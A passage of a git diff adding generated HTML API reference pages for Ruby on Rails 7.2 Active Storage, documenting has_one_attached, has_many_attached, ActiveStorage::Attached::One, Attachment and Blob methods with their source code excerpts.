+            @active_storage_attached ||= {}
+            @active_storage_attached[:#{name}] ||= ActiveStorage::Attached::Many.new("#{name}", self)
+          end
+
+          def #{name}=(attachables)
+            attachables = Array(attachables).compact_blank
+            pending_uploads = attachment_changes["#{name}"].try(:pending_uploads)
+
+            attachment_changes["#{name}"] = if attachables.none?
+              ActiveStorage::Attached::Changes::DeleteMany.new("#{name}", self)
+            else
+              ActiveStorage::Attached::Changes::CreateMany.new("#{name}", self, attachables, pending_uploads: pending_uploads)
+            end
+          end
+        CODE
+
+        has_many :"#{name}_attachments", -> { where(name: name) }, as: :record, class_name: "ActiveStorage::Attachment", inverse_of: :record, dependent: :destroy, strict_loading: strict_loading
+        has_many :"#{name}_blobs", through: :"#{name}_attachments", class_name: "ActiveStorage::Blob", source: :blob, strict_loading: strict_loading
+
+        scope :"with_attached_#{name}", -> {
+          if ActiveStorage.track_variants
+            includes("#{name}_attachments": { blob: {
+              variant_records: { image_attachment: :blob },
+              preview_image_attachment: { blob: { variant_records: { image_attachment: :blob } } }
+            } })
+          else
+            includes("#{name}_attachments": :blob)
+          end
+        }
+
+        after_save { attachment_changes[name.to_s]&.save }
+
+        after_commit(on: %i[ create update ]) { attachment_changes.delete(name.to_s).try(:upload) }
+
+        reflection = ActiveRecord::Reflection.create(
+          :has_many_attached,
+          name,
+          nil,
+          { dependent: dependent, service_name: service },
+          self
+        )
+        yield reflection if block_given?
+        ActiveRecord::Reflection.add_attachment_reflection(self, name, reflection)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_one_attached(name, dependent: :purge_later, service: nil, strict_loading: false) + +

+ + +
+

Specifies the relation between a single attachment and the model.

+ +
class User < ApplicationRecord
+  has_one_attached :avatar
+end
+
+ +

There is no column defined on the model side, Active Storage takes care of the mapping between your records and the attachment.

+ +

To avoid N+1 queries, you can include the attached blobs in your query like so:

+ +
User.with_attached_avatar
+
+ +

Under the covers, this relationship is implemented as a has_one association to a ActiveStorage::Attachment record and a has_one-through association to a ActiveStorage::Blob record. These associations are available as avatar_attachment and avatar_blob. But you shouldn’t need to work with these associations directly in most circumstances.

+ +

The system has been designed to having you go through the ActiveStorage::Attached::One proxy that provides the dynamic proxy to the associations and factory methods, like attach.

+ +

The :dependent option defaults to :purge_later. This means the attachment will be purged (i.e. destroyed) in the background whenever the record is destroyed. If an ActiveJob::Backend queue adapter is not set in the application set it to purge instead.

+ +

If you need the attachment to use a service which differs from the globally configured one, pass the :service option. For example:

+ +
class User < ActiveRecord::Base
+  has_one_attached :avatar, service: :s3
+end
+
+ +

:service can also be specified as a proc, and it will be called with the model instance:

+ +
class User < ActiveRecord::Base
+  has_one_attached :avatar, service: ->(user) { user.in_europe_region? ? :s3_europe : :s3_usa }
+end
+
+ +

If you need to enable strict_loading to prevent lazy loading of attachment, pass the :strict_loading option. You can do:

+ +
class User < ApplicationRecord
+  has_one_attached :avatar, strict_loading: true
+end
+
+ +

Note: Active Storage relies on polymorphic associations, which in turn store class names in the database. When renaming classes that use has_one_attached, make sure to also update the class names in the active_storage_attachments.record_type polymorphic type column of the corresponding rows.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/model.rb, line 106
+      def has_one_attached(name, dependent: :purge_later, service: nil, strict_loading: false)
+        ActiveStorage::Blob.validate_service_configuration(service, self, name) unless service.is_a?(Proc)
+
+        generated_association_methods.class_eval <<-CODE, __FILE__, __LINE__ + 1
+          # frozen_string_literal: true
+          def #{name}
+            @active_storage_attached ||= {}
+            @active_storage_attached[:#{name}] ||= ActiveStorage::Attached::One.new("#{name}", self)
+          end
+
+          def #{name}=(attachable)
+            attachment_changes["#{name}"] =
+              if attachable.nil? || attachable == ""
+                ActiveStorage::Attached::Changes::DeleteOne.new("#{name}", self)
+              else
+                ActiveStorage::Attached::Changes::CreateOne.new("#{name}", self, attachable)
+              end
+          end
+        CODE
+
+        has_one :"#{name}_attachment", -> { where(name: name) }, class_name: "ActiveStorage::Attachment", as: :record, inverse_of: :record, dependent: :destroy, strict_loading: strict_loading
+        has_one :"#{name}_blob", through: :"#{name}_attachment", class_name: "ActiveStorage::Blob", source: :blob, strict_loading: strict_loading
+
+        scope :"with_attached_#{name}", -> {
+          if ActiveStorage.track_variants
+            includes("#{name}_attachment": { blob: {
+              variant_records: { image_attachment: :blob },
+              preview_image_attachment: { blob: { variant_records: { image_attachment: :blob } } }
+            } })
+          else
+            includes("#{name}_attachment": :blob)
+          end
+        }
+
+        after_save { attachment_changes[name.to_s]&.save }
+
+        after_commit(on: %i[ create update ]) { attachment_changes.delete(name.to_s).try(:upload) }
+
+        reflection = ActiveRecord::Reflection.create(
+          :has_one_attached,
+          name,
+          nil,
+          { dependent: dependent, service_name: service },
+          self
+        )
+        yield reflection if block_given?
+        ActiveRecord::Reflection.add_attachment_reflection(self, name, reflection)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_attached_* + +

+ + +
+

Includes the attached blobs in your query to avoid N+1 queries.

+ +

If ActiveStorage.track_variants is enabled, it will also include the variants record and their attached blobs.

+ +
User.with_attached_avatar
+
+ +

Use the plural form for has_many_attached:

+ +
Gallery.with_attached_photos
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/model.rb, line 54
+    class_methods do
+      # Specifies the relation between a single attachment and the model.
+      #
+      #   class User < ApplicationRecord
+      #     has_one_attached :avatar
+      #   end
+      #
+      # There is no column defined on the model side, Active Storage takes
+      # care of the mapping between your records and the attachment.
+      #
+      # To avoid N+1 queries, you can include the attached blobs in your query like so:
+      #
+      #   User.with_attached_avatar
+      #
+      # Under the covers, this relationship is implemented as a +has_one+ association to a
+      # ActiveStorage::Attachment record and a +has_one-through+ association to a
+      # ActiveStorage::Blob record. These associations are available as +avatar_attachment+
+      # and +avatar_blob+. But you shouldn't need to work with these associations directly in
+      # most circumstances.
+      #
+      # The system has been designed to having you go through the ActiveStorage::Attached::One
+      # proxy that provides the dynamic proxy to the associations and factory methods, like +attach+.
+      #
+      # The +:dependent+ option defaults to +:purge_later+. This means the attachment will be
+      # purged (i.e. destroyed) in the background whenever the record is destroyed.
+      # If an ActiveJob::Backend queue adapter is not set in the application set it to
+      # +purge+ instead.
+      #
+      # If you need the attachment to use a service which differs from the globally configured one,
+      # pass the +:service+ option. For example:
+      #
+      #   class User < ActiveRecord::Base
+      #     has_one_attached :avatar, service: :s3
+      #   end
+      #
+      # +:service+ can also be specified as a proc, and it will be called with the model instance:
+      #
+      #   class User < ActiveRecord::Base
+      #     has_one_attached :avatar, service: ->(user) { user.in_europe_region? ? :s3_europe : :s3_usa }
+      #   end
+      #
+      # If you need to enable +strict_loading+ to prevent lazy loading of attachment,
+      # pass the +:strict_loading+ option. You can do:
+      #
+      #   class User < ApplicationRecord
+      #     has_one_attached :avatar, strict_loading: true
+      #   end
+      #
+      # Note: Active Storage relies on polymorphic associations, which in turn store class names in the database.
+      # When renaming classes that use <tt>has_one_attached</tt>, make sure to also update the class names in the
+      # <tt>active_storage_attachments.record_type</tt> polymorphic type column of
+      # the corresponding rows.
+      def has_one_attached(name, dependent: :purge_later, service: nil, strict_loading: false)
+        ActiveStorage::Blob.validate_service_configuration(service, self, name) unless service.is_a?(Proc)
+
+        generated_association_methods.class_eval <<-CODE, __FILE__, __LINE__ + 1
+          # frozen_string_literal: true
+          def #{name}
+            @active_storage_attached ||= {}
+            @active_storage_attached[:#{name}] ||= ActiveStorage::Attached::One.new("#{name}", self)
+          end
+
+          def #{name}=(attachable)
+            attachment_changes["#{name}"] =
+              if attachable.nil? || attachable == ""
+                ActiveStorage::Attached::Changes::DeleteOne.new("#{name}", self)
+              else
+                ActiveStorage::Attached::Changes::CreateOne.new("#{name}", self, attachable)
+              end
+          end
+        CODE
+
+        has_one :"#{name}_attachment", -> { where(name: name) }, class_name: "ActiveStorage::Attachment", as: :record, inverse_of: :record, dependent: :destroy, strict_loading: strict_loading
+        has_one :"#{name}_blob", through: :"#{name}_attachment", class_name: "ActiveStorage::Blob", source: :blob, strict_loading: strict_loading
+
+        scope :"with_attached_#{name}", -> {
+          if ActiveStorage.track_variants
+            includes("#{name}_attachment": { blob: {
+              variant_records: { image_attachment: :blob },
+              preview_image_attachment: { blob: { variant_records: { image_attachment: :blob } } }
+            } })
+          else
+            includes("#{name}_attachment": :blob)
+          end
+        }
+
+        after_save { attachment_changes[name.to_s]&.save }
+
+        after_commit(on: %i[ create update ]) { attachment_changes.delete(name.to_s).try(:upload) }
+
+        reflection = ActiveRecord::Reflection.create(
+          :has_one_attached,
+          name,
+          nil,
+          { dependent: dependent, service_name: service },
+          self
+        )
+        yield reflection if block_given?
+        ActiveRecord::Reflection.add_attachment_reflection(self, name, reflection)
+      end
+
+      # Specifies the relation between multiple attachments and the model.
+      #
+      #   class Gallery < ApplicationRecord
+      #     has_many_attached :photos
+      #   end
+      #
+      # There are no columns defined on the model side, Active Storage takes
+      # care of the mapping between your records and the attachments.
+      #
+      # To avoid N+1 queries, you can include the attached blobs in your query like so:
+      #
+      #   Gallery.where(user: Current.user).with_attached_photos
+      #
+      # Under the covers, this relationship is implemented as a +has_many+ association to a
+      # ActiveStorage::Attachment record and a +has_many-through+ association to a
+      # ActiveStorage::Blob record. These associations are available as +photos_attachments+
+      # and +photos_blobs+. But you shouldn't need to work with these associations directly in
+      # most circumstances.
+      #
+      # The system has been designed to having you go through the ActiveStorage::Attached::Many
+      # proxy that provides the dynamic proxy to the associations and factory methods, like +#attach+.
+      #
+      # The +:dependent+ option defaults to +:purge_later+. This means the attachments will be
+      # purged (i.e. destroyed) in the background whenever the record is destroyed.
+      # If an ActiveJob::Backend queue adapter is not set in the application set it to
+      # +purge+ instead.
+      #
+      # If you need the attachment to use a service which differs from the globally configured one,
+      # pass the +:service+ option. For example:
+      #
+      #   class Gallery < ActiveRecord::Base
+      #     has_many_attached :photos, service: :s3
+      #   end
+      #
+      # +:service+ can also be specified as a proc, and it will be called with the model instance:
+      #
+      #   class Gallery < ActiveRecord::Base
+      #     has_many_attached :photos, service: ->(gallery) { gallery.personal? ? :personal_s3 : :s3 }
+      #   end
+      #
+      # If you need to enable +strict_loading+ to prevent lazy loading of attachments,
+      # pass the +:strict_loading+ option. You can do:
+      #
+      #   class Gallery < ApplicationRecord
+      #     has_many_attached :photos, strict_loading: true
+      #   end
+      #
+      # Note: Active Storage relies on polymorphic associations, which in turn store class names in the database.
+      # When renaming classes that use <tt>has_many</tt>, make sure to also update the class names in the
+      # <tt>active_storage_attachments.record_type</tt> polymorphic type column of
+      # the corresponding rows.
+      def has_many_attached(name, dependent: :purge_later, service: nil, strict_loading: false)
+        ActiveStorage::Blob.validate_service_configuration(service, self, name) unless service.is_a?(Proc)
+
+        generated_association_methods.class_eval <<-CODE, __FILE__, __LINE__ + 1
+          # frozen_string_literal: true
+          def #{name}
+            @active_storage_attached ||= {}
+            @active_storage_attached[:#{name}] ||= ActiveStorage::Attached::Many.new("#{name}", self)
+          end
+
+          def #{name}=(attachables)
+            attachables = Array(attachables).compact_blank
+            pending_uploads = attachment_changes["#{name}"].try(:pending_uploads)
+
+            attachment_changes["#{name}"] = if attachables.none?
+              ActiveStorage::Attached::Changes::DeleteMany.new("#{name}", self)
+            else
+              ActiveStorage::Attached::Changes::CreateMany.new("#{name}", self, attachables, pending_uploads: pending_uploads)
+            end
+          end
+        CODE
+
+        has_many :"#{name}_attachments", -> { where(name: name) }, as: :record, class_name: "ActiveStorage::Attachment", inverse_of: :record, dependent: :destroy, strict_loading: strict_loading
+        has_many :"#{name}_blobs", through: :"#{name}_attachments", class_name: "ActiveStorage::Blob", source: :blob, strict_loading: strict_loading
+
+        scope :"with_attached_#{name}", -> {
+          if ActiveStorage.track_variants
+            includes("#{name}_attachments": { blob: {
+              variant_records: { image_attachment: :blob },
+              preview_image_attachment: { blob: { variant_records: { image_attachment: :blob } } }
+            } })
+          else
+            includes("#{name}_attachments": :blob)
+          end
+        }
+
+        after_save { attachment_changes[name.to_s]&.save }
+
+        after_commit(on: %i[ create update ]) { attachment_changes.delete(name.to_s).try(:upload) }
+
+        reflection = ActiveRecord::Reflection.create(
+          :has_many_attached,
+          name,
+          nil,
+          { dependent: dependent, service_name: service },
+          self
+        )
+        yield reflection if block_given?
+        ActiveRecord::Reflection.add_attachment_reflection(self, name, reflection)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Attached/One.html b/src/7.2/classes/ActiveStorage/Attached/One.html new file mode 100644 index 0000000000..cc32cb1267 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Attached/One.html @@ -0,0 +1,374 @@ +--- +title: ActiveStorage::Attached::One +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Attached One

+ +

Representation of a single attachment to a model.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attach(attachable) + +

+ + +
+

Attaches an attachable to the record.

+ +

If the record is persisted and unchanged, the attachment is saved to the database immediately. Otherwise, it’ll be saved to the DB when the record is next saved.

+ +
person.avatar.attach(params[:avatar]) # ActionDispatch::Http::UploadedFile object
+person.avatar.attach(params[:signed_blob_id]) # Signed reference to blob from direct upload
+person.avatar.attach(io: File.open("/path/to/face.jpg"), filename: "face.jpg", content_type: "image/jpeg")
+person.avatar.attach(avatar_blob) # ActiveStorage::Blob object
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/one.rb, line 58
+    def attach(attachable)
+      record.public_send("#{name}=", attachable)
+      if record.persisted? && !record.changed?
+        return if !record.save
+      end
+      record.public_send("#{name}")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attached?() + +

+ + +
+

Returns true if an attachment has been made.

+ +
class User < ApplicationRecord
+  has_one_attached :avatar
+end
+
+User.new.avatar.attached? # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/one.rb, line 73
+    def attached?
+      attachment.present?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attachment() + +

+ + +
+

Returns the associated attachment record.

+ +

You don’t have to call this method to access the attachment’s methods as they are all available at the model level.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/one.rb, line 33
+    def attachment
+      change.present? ? change.attachment : record.public_send("#{name}_attachment")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + blank?() + +

+ + +
+

Returns true if an attachment is not attached.

+ +
class User < ApplicationRecord
+  has_one_attached :avatar
+end
+
+User.new.avatar.blank? # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/one.rb, line 44
+    def blank?
+      !attached?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + detach + +

+ + +
+

Deletes the attachment without purging it, leaving its blob in place.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/one.rb, line 25
+    delegate :detach, to: :detach_one
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge + +

+ + +
+

Directly purges the attachment (i.e. destroys the blob and attachment and deletes the file on the service).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/one.rb, line 13
+    delegate :purge, to: :purge_one
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge_later + +

+ + +
+

Purges the attachment through the queuing system.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/one.rb, line 19
+    delegate :purge_later, to: :purge_one
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Attachment.html b/src/7.2/classes/ActiveStorage/Attachment.html new file mode 100644 index 0000000000..2aca518982 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Attachment.html @@ -0,0 +1,451 @@ +--- +title: ActiveStorage::Attachment +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Attachment

+ +

Attachments associate records with blobs. Usually that’s a one record-many blobs relationship, but it is possible to associate many different records with the same blob. A foreign-key constraint on the attachments table prevents blobs from being purged if they’re still attached to any records.

+ +

Attachments also have access to all methods from ActiveStorage::Blob.

+ +

If you wish to preload attachments or blobs, you can use these scopes:

+ +
# preloads attachments, their corresponding blobs, and variant records (if using `ActiveStorage.track_variants`)
+User.all.with_attached_avatars
+
+# preloads blobs and variant records (if using `ActiveStorage.track_variants`)
+User.first.avatars.with_all_variant_records
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + with_all_variant_records + +

+ + +
+

Eager load all variant records on an attachment at once.

+ +
User.first.avatars.with_all_variant_records
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/attachment.rb, line 45
+  scope :with_all_variant_records, -> { includes(blob: {
+    variant_records: { image_attachment: :blob },
+    preview_image_attachment: { blob: { variant_records: { image_attachment: :blob } } }
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + blob + +

+ + +
+

Returns the associated ActiveStorage::Blob.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/attachment.rb, line 31
+  belongs_to :blob, class_name: "ActiveStorage::Blob", autosave: true, inverse_of: :attachments
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + preview(transformations) + +

+ + +
+

Returns an ActiveStorage::Preview instance for the attachment with the set of transformations provided. Example:

+ +
video.preview(resize_to_limit: [100, 100]).processed.url
+
+ +

or if you are using pre-defined variants:

+ +
video.preview(:thumb).processed.url
+
+ +

See ActiveStorage::Blob::Representable#preview for more information.

+ +

Raises an ArgumentError if transformations is a Symbol which is an unknown pre-defined variant of the attachment.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/attachment.rb, line 101
+  def preview(transformations)
+    transformations = transformations_by_name(transformations)
+    blob.preview(transformations)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge() + +

+ + +
+

Synchronously deletes the attachment and purges the blob.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/attachment.rb, line 51
+  def purge
+    transaction do
+      delete
+      record.touch if record&.persisted?
+    end
+    blob&.purge
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge_later() + +

+ + +
+

Deletes the attachment and enqueues a background job to purge the blob.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/attachment.rb, line 60
+  def purge_later
+    transaction do
+      delete
+      record.touch if record&.persisted?
+    end
+    blob&.purge_later
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + record + +

+ + +
+

Returns the associated record.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/attachment.rb, line 25
+  belongs_to :record, polymorphic: true, touch: ActiveStorage.touch_attachment_records
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + representation(transformations) + +

+ + +
+

Returns an ActiveStorage::Preview or an ActiveStorage::Variant for the attachment with set of transformations provided. Example:

+ +
avatar.representation(resize_to_limit: [100, 100]).processed.url
+
+ +

or if you are using pre-defined variants:

+ +
avatar.representation(:thumb).processed.url
+
+ +

See ActiveStorage::Blob::Representable#representation for more information.

+ +

Raises an ArgumentError if transformations is a Symbol which is an unknown pre-defined variant of the attachment.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/attachment.rb, line 120
+  def representation(transformations)
+    transformations = transformations_by_name(transformations)
+    blob.representation(transformations)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + variant(transformations) + +

+ + +
+

Returns an ActiveStorage::Variant or ActiveStorage::VariantWithRecord instance for the attachment with the set of transformations provided. Example:

+ +
avatar.variant(resize_to_limit: [100, 100]).processed.url
+
+ +

or if you are using pre-defined variants:

+ +
avatar.variant(:thumb).processed.url
+
+ +

See ActiveStorage::Blob::Representable#variant for more information.

+ +

Raises an ArgumentError if transformations is a Symbol which is an unknown pre-defined variant of the attachment.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/attachment.rb, line 82
+  def variant(transformations)
+    transformations = transformations_by_name(transformations)
+    blob.variant(transformations)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/BaseController.html b/src/7.2/classes/ActiveStorage/BaseController.html new file mode 100644 index 0000000000..bc90aea77e --- /dev/null +++ b/src/7.2/classes/ActiveStorage/BaseController.html @@ -0,0 +1,80 @@ +--- +title: ActiveStorage::BaseController +layout: default +--- +
+ +
+
+ +
+ +

The base class for all Active Storage controllers.

+ +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/BaseJob.html b/src/7.2/classes/ActiveStorage/BaseJob.html new file mode 100644 index 0000000000..3ee1c6901e --- /dev/null +++ b/src/7.2/classes/ActiveStorage/BaseJob.html @@ -0,0 +1,60 @@ +--- +title: ActiveStorage::BaseJob +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Blob.html b/src/7.2/classes/ActiveStorage/Blob.html new file mode 100644 index 0000000000..7ad62ebab6 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Blob.html @@ -0,0 +1,1287 @@ +--- +title: ActiveStorage::Blob +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Blob

+ +

A blob is a record that contains the metadata about a file and a key for where that file resides on the service. Blobs can be created in two ways:

+
  1. +

    Ahead of the file being uploaded server-side to the service, via create_and_upload!. A rewindable io with the file contents must be available at the server for this operation.

    +
  2. +

    Ahead of the file being directly uploaded client-side to the service, via create_before_direct_upload!.

    +
+ +

The first option doesn’t require any client-side JavaScript integration, and can be used by any other back-end service that deals with files. The second option is faster, since you’re not using your own server as a staging point for uploads, and can work with deployments like Heroku that do not provide large amounts of disk space.

+ +

Blobs are intended to be immutable in as-so-far as their reference to a specific file goes. You’re allowed to update a blob’s metadata on a subsequent pass, but you should not update the key or change the uploaded file. If you need to create a derivative or otherwise change the blob, simply create a new blob and purge the old one.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
MINIMUM_TOKEN_LENGTH=28
+ + + + + + +

Class Public methods

+ +
+

+ + compose(blobs, key: nil, filename:, content_type: nil, metadata: nil) + +

+ + +
+

Concatenate multiple blobs into a single β€œcomposed” blob.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 145
+    def compose(blobs, key: nil, filename:, content_type: nil, metadata: nil)
+      raise ActiveRecord::RecordNotSaved, "All blobs must be persisted." if blobs.any?(&:new_record?)
+
+      content_type ||= blobs.pluck(:content_type).compact.first
+
+      new(key: key, filename: filename, content_type: content_type, metadata: metadata, byte_size: blobs.sum(&:byte_size)).tap do |combined_blob|
+        combined_blob.compose(blobs.pluck(:key))
+        combined_blob.save!
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_and_upload!(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil) + +

+ + +
+

Creates a new blob instance and then uploads the contents of the given io to the service. The blob instance is going to be saved before the upload begins to prevent the upload clobbering another due to key collisions. When providing a content type, pass identify: false to bypass automatic content type inference.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 96
+    def create_and_upload!(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
+      create_after_unfurling!(key: key, io: io, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name, identify: identify).tap do |blob|
+        blob.upload_without_unfurling(io)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil) + +

+ + +
+

Returns a saved blob without uploading a file to the service. This blob will point to a key where there is no file yet. It’s intended to be used together with a client-side upload, which will first create the blob in order to produce the signed URL for uploading. This signed URL points to the key generated by the blob. Once the form using the direct upload is submitted, the blob can be associated with the right record using the signed ID.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 107
+    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
+      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_signed(id, record: nil, purpose: :blob_id) + +

+ + +
+

You can use the signed ID of a blob to refer to it on the client side without fear of tampering. This is particularly helpful for direct uploads where the client-side needs to refer to the blob that was created ahead of the upload itself on form submission.

+ +

The signed ID is also used to create stable URLs for the blob through the BlobsController.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 69
+    def find_signed(id, record: nil, purpose: :blob_id)
+      super(id, purpose: purpose)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_signed!(id, record: nil, purpose: :blob_id) + +

+ + +
+

Works like find_signed, but will raise an ActiveSupport::MessageVerifier::InvalidSignature exception if the signed_id has either expired, has a purpose mismatch, is for another record, or has been tampered with. It will also raise an ActiveRecord::RecordNotFound exception if the valid signed id can’t find a record.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 77
+    def find_signed!(id, record: nil, purpose: :blob_id)
+      super(id, purpose: purpose)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH) + +

+ + +
+

To prevent problems with case-insensitive filesystems, especially in combination with databases which treat indices as case-sensitive, all blob keys generated are going to only contain the base-36 character alphabet and will therefore be lowercase. To maintain the same or higher amount of entropy as in the base-58 encoding used by has_secure_token the number of bytes used is increased to 28 from the standard 24

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 116
+    def generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH)
+      SecureRandom.base36(length)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unattached + +

+ + +
+

Returns the blobs that aren’t attached to any record.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 38
+  scope :unattached, -> { where.missing(:attachments) }
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + attachments + +

+ + +
+

Returns the associated ActiveStorage::Attachment instances.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 32
+  has_many :attachments
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + audio?() + +

+ + +
+

Returns true if the content_type of this blob is in the audio range, like audio/mpeg.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 213
+  def audio?
+    content_type.start_with?("audio")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + custom_metadata() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 199
+  def custom_metadata
+    self[:metadata][:custom] || {}
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + custom_metadata=(metadata) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 203
+  def custom_metadata=(metadata)
+    self[:metadata] = self[:metadata].merge(custom: metadata)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete() + +

+ + +
+

Deletes the files on the service associated with the blob. This should only be done if the blob is going to be deleted as well or you will essentially have a dead reference. It’s recommended to use purge and purge_later methods in most circumstances.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 323
+  def delete
+    service.delete(key)
+    service.delete_prefixed("variants/#{key}/") if image?
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download(&block) + +

+ + +
+

Downloads the file associated with this blob. If no block is given, the entire file is read into memory and returned. That’ll use a lot of RAM for very large files. If a block is given, then the download is streamed and yielded in chunks.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 283
+  def download(&block)
+    service.download key, &block
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + download_chunk(range) + +

+ + +
+

Downloads a part of the file associated with this blob.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 288
+  def download_chunk(range)
+    service.download_chunk key, range
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + filename() + +

+ + +
+

Returns an ActiveStorage::Filename instance of the filename that can be queried for basename, extension, and a sanitized version of the filename that’s safe to use in URLs.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 195
+  def filename
+    ActiveStorage::Filename.new(self[:filename])
+  end
